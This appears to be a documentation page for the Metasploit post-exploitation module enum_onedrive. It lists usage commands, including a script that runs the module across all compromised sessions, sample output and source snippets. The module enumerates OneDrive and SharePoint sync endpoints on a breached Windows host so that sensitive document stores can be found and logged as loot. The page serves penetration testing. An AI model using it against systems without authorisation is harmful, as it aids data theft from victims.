OneDrive Sync Provider Enumeration Module - Metasploit


This page contains detailed information about how to use the post/windows/gather/enum_onedrive metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OneDrive Sync Provider Enumeration Module
Module: post/windows/gather/enum_onedrive
Source code: modules/post/windows/gather/enum_onedrive.rb
Disclosure date: -
Last modification time: 2021-01-29 10:17:48 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will identify the Office 365 OneDrive endpoints for both business and personal accounts across all users (providing access is permitted). It is useful for identifying document libraries that may otherwise not be obvious which could contain sensitive or useful information.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/enum_onedrive

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/enum_onedrive
msf post(enum_onedrive) > show options
    ... show and set options ...
msf post(enum_onedrive) > set SESSION session-id
msf post(enum_onedrive) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/enum_onedrive")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module lists the Microsoft 365 Sharepoint/Onedrive endpoints that are being synchronised by the OneDrive application on a target Windows system. It will attempt to do this for every local user on the system (subject to permissions) and will also create a CSV with the results in loot.

A user can only have one OneDrive personal account synchronised, but can have many business accounts synchronised. In addition, within the business accounts, there can be several 'teamsites' (for example, MS Teams document libraries).

These listings can highlight document libraries or repositories that contain sensitive information, or simply provide an additional source of information during an engagement.

Verification Steps


  1. Start msfconsole
  2. Gain a Meterpreter session on a Windows system running OneDrive.
  3. Type: use post/windows/gather/enum_onedrive
  4. Type: set SESSION <session id>
  5. Type: run

Options


SESSION

The session to run the module on.

Scenarios


Windows 10 x64 v2004 With OneDrive Installed But No Accounts

msf6 exploit(multi/handler) > use post/windows/gather/enum_onedrive 
msf6 post(windows/gather/enum_onedrive) > show options

Module options (post/windows/gather/enum_onedrive):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf6 post(windows/gather/enum_onedrive) > set SESSION 2 
SESSION => 2
msf6 post(windows/gather/enum_onedrive) > run

[-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1000: Profile doesn't exist or cannot be accessed
[-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1001: Profile doesn't exist or cannot be accessed
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1000
[-] (HKU\S-1-5-21-3917347361-1576396349-327053466-1000) OneDrive not installed.
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1001
[-] (HKU\S-1-5-21-3917347361-1576396349-327053466-1001) OneDrive not installed.
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1002
[-] (HKU\S-1-5-21-3917347361-1576396349-327053466-1002) OneDrive not installed.

[*] Post module execution completed
msf6 post(windows/gather/enum_onedrive) >

Windows 10 x64 v2004 With OneDrive Installed and One Business and One Personal Account

msf6 exploit(multi/handler) > use post/windows/gather/enum_onedrive 
msf6 post(windows/gather/enum_onedrive) > set SESSION 3 
SESSION => 3
msf6 post(windows/gather/enum_onedrive) > run

[-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1000: Profile doesn't exist or cannot be accessed
[-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1001: Profile doesn't exist or cannot be accessed
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1000
[-] (HKU\S-1-5-21-3917347361-1576396349-327053466-1000) No OneDrive accounts found.
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1001
[-] (HKU\S-1-5-21-3917347361-1576396349-327053466-1001) No OneDrive accounts found.
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1002
[+] OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1002

  Business1
  =========

    Business: 1
    ServiceEndpointUri: https://testing33sdf-my.sharepoint.com/personal/test_testing33sdf_onmicrosoft_com/_api
    SPOResourceId: https://testing33sdf-my.sharepoint.com/
    UserEmail: [email protected]
    UserFolder: C:\Users\normal\OneDrive - Foobar Notes
    UserName: test test

    | LibraryType: mysite
    | LastModifiedTime: 2021-01-27T22:11:09
    | MountPoint: C:\Users\normal\OneDrive - Foobar Notes
    | UrlNamespace: https://testing33sdf-my.sharepoint.com/personal/test_testing33sdf_onmicrosoft_com/Documents/

  Personal
  ========

    UserEmail: [email protected]
    UserFolder: C:\Users\normal\OneDrive

    | LibraryType: personal
    | LastModifiedTime: 2021-01-27T21:16:04
    | MountPoint: C:\Users\normal\OneDrive
    | UrlNamespace: https://d.docs.live.net

[+] OneDrive sync information saved to /home/gwillcox/.msf4/loot/20210129095922_default_172.18.30.231_onedrive.syncinf_606475.txt in CSV format.
[*] Post module execution completed
msf6 post(windows/gather/enum_onedrive) > 

Windows 10 x64 v2004 With OneDrive Installed and One Business and One Personal Account, But One Account Is Orphaned

msf6 exploit(multi/handler) > use post/windows/gather/enum_onedrive 
msf6 post(windows/gather/enum_onedrive) > set SESSION 3 
SESSION => 3
msf6 post(windows/gather/enum_onedrive) > run

[-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1000: Profile doesn't exist or cannot be accessed
[-] Error loading USER S-1-5-21-3917347361-1576396349-327053466-1001: Profile doesn't exist or cannot be accessed
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1000
[-] (HKU\S-1-5-21-3917347361-1576396349-327053466-1000) No OneDrive accounts found.
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1001
[-] (HKU\S-1-5-21-3917347361-1576396349-327053466-1001) No OneDrive accounts found.
[*] Looking for OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1002
[+] OneDrive sync information for S-1-5-21-3917347361-1576396349-327053466-1002

  Personal
  ========

    UserEmail: [email protected]
    UserFolder: C:\Users\normal\OneDrive

    | LibraryType: personal
    | LastModifiedTime: 2021-01-27T21:16:04
    | MountPoint: C:\Users\normal\OneDrive
    | UrlNamespace: https://d.docs.live.net

  ORPHANED
  ========

  LibraryType: mysite
  LastModifiedTime: 2021-01-27T22:11:09
  MountPoint: C:\Users\normal\OneDrive - Foobar Notes
  UrlNamespace: https://testing33sdf-my.sharepoint.com/personal/test_testing33sdf_onmicrosoft_com/Documents/

[+] OneDrive sync information saved to /home/gwillcox/.msf4/loot/20210129101238_default_172.18.30.231_onedrive.syncinf_127262.txt in CSV format.
[*] Post module execution completed
msf6 post(windows/gather/enum_onedrive) > 

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/enum_onedrive post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/enum_onedrive

msf6 post(windows/gather/enum_onedrive) > show info

       Name: OneDrive Sync Provider Enumeration Module
     Module: post/windows/gather/enum_onedrive
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Stuart Morgan <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will identify the Office 365 OneDrive endpoints for both 
  business and personal accounts across all users (providing access is 
  permitted). It is useful for identifying document libraries that may 
  otherwise not be obvious which could contain sensitive or useful 
  information.

Module Options


This is a complete list of options available in the windows/gather/enum_onedrive post exploitation module:

msf6 post(windows/gather/enum_onedrive) > show options

Module options (post/windows/gather/enum_onedrive):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/enum_onedrive post exploitation module:

msf6 post(windows/gather/enum_onedrive) > show advanced

Module advanced options (post/windows/gather/enum_onedrive):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/enum_onedrive module can do:

msf6 post(windows/gather/enum_onedrive) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/enum_onedrive post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/enum_onedrive) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to load the missing hives needed to enumerate the target!


Here is a relevant code snippet related to the "Unable to load the missing hives needed to enumerate the target!" error message:

144:	      'SortIndex' => -1,
145:	      'Columns' => ['SID', 'Name'] + ONEDRIVE_ACCOUNT_KEYS + SYNC_ENGINES_KEYS
146:	    )
147:	
148:	    if userhives.nil? || userhives.empty?
149:	      fail_with(Failure::UnexpectedReply, 'Unable to load the missing hives needed to enumerate the target!')
150:	    end
151:	    # Loop through each of the hives
152:	    userhives.each do |hive|
153:	      next if hive['HKU'].nil?
154:	

(<HKU>) No OneDrive accounts found.


Here is a relevant code snippet related to the "(<HKU>) No OneDrive accounts found." error message:

154:	
155:	      print_status("Looking for OneDrive sync information for #{hive['SID']}")
156:	      master_key = "#{hive['HKU']}\\Software\\SyncEngines\\Providers\\OneDrive"
157:	      saved_syncengines = registry_enumkeys(master_key)
158:	      if saved_syncengines.nil? || saved_syncengines.empty?
159:	        print_error("(#{hive['HKU']}) No OneDrive accounts found.")
160:	        next
161:	      end
162:	
163:	      # Obtain the sync endpoints from the above subkey
164:	      all_syncengines = get_syncengine_data(master_key, saved_syncengines)

(<HKU>) No OneDrive accounts found.


Here is a relevant code snippet related to the "(<HKU>) No OneDrive accounts found." error message:

164:	      all_syncengines = get_syncengine_data(master_key, saved_syncengines)
165:	
166:	      str_onedrive_accounts = "#{hive['HKU']}\\Software\\Microsoft\\OneDrive\\Accounts"
167:	      reg_onedrive_accounts = registry_enumkeys(str_onedrive_accounts)
168:	      if reg_onedrive_accounts.nil? || reg_onedrive_accounts.empty?
169:	        print_error("(#{hive['HKU']}) No OneDrive accounts found.")
170:	        next
171:	      end
172:	
173:	      result = get_onedrive_accounts(reg_onedrive_accounts, str_onedrive_accounts, all_syncengines)
174:	

(<HKU>) No OneDrive accounts found.


Here is a relevant code snippet related to the "(<HKU>) No OneDrive accounts found." error message:

171:	      end
172:	
173:	      result = get_onedrive_accounts(reg_onedrive_accounts, str_onedrive_accounts, all_syncengines)
174:	
175:	      if result['oda'].nil? || result['oda'].empty?
176:	        print_error("(#{hive['HKU']}) No OneDrive accounts found.")
177:	        next
178:	      end
179:	
180:	      got_results = true
181:	      print_good("OneDrive sync information for #{hive['SID']}")

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>

Version


This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.